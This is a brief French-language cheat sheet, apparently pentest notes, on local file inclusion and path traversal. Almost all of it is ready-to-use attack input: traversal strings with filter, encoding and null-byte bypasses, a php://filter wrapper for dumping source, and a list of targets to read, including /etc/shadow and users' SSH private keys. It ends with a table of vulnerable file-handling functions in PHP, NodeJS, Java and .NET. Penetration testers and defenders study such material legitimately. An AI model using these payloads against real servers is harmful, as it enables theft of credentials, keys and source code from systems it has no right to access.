### Techniques de base: `=/etc/passwd` `=../../../../../../etc/passwd` `=....//....//....//....//....//....//....//etc/passwd` `=....////....////....////....////....////etc/passwd` `=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd (url encode)` `=/gallery/../../../../../../../etc/passwd (en cas d'obligation de la présence d'un chemin approuvé dans l'url)` `=../../../../etc/passwd%00 (null byte)` --- ### PHP filters: ```url php://filter/read=convert.base64-encode/resource=../../../etc/passwd ``` --- Fichiers intéressants à lire : ``` /etc/passwd /proc/$PID/cmdline (générer une wordlist avec des chiffres de 1 à 1000) /etc/shadow /home/$user/.ssh/id_rsa /var/www/html/fichierdeconfig.php /var/www/html/LesDifférentesPages // permet de voir le code source éventuellement) ``` --- | **Function** | **Read Content** | **Execute** | **Remote URL** | | ----- | :-----: | :-----: | :-----: | | **PHP** | | `include()`/`include_once()` | ✅ | ✅ | ✅ | | `require()`/`require_once()` | ✅ | ✅ | ❌ | | `file_get_contents()` | ✅ | ❌ | ✅ | | `fopen()`/`file()` | ✅ | ❌ | ❌ | | **NodeJS** | | `fs.readFile()` | ✅ | ❌ | ❌ | | `fs.sendFile()` | ✅ | ❌ | ❌ | | `res.render()` | ✅ | ✅ | ❌ | | **Java** | | `include` | ✅ | ❌ | ❌ | | `import` | ✅ | ✅ | ✅ | | **.NET** | | | `@Html.Partial()` | ✅ | ❌ | ❌ | | `@Html.RemotePartial()` | ✅ | ❌ | ✅ | | `Response.WriteFile()` | ✅ | ❌ | ❌ | | `include` | ✅ | ✅ | ✅ |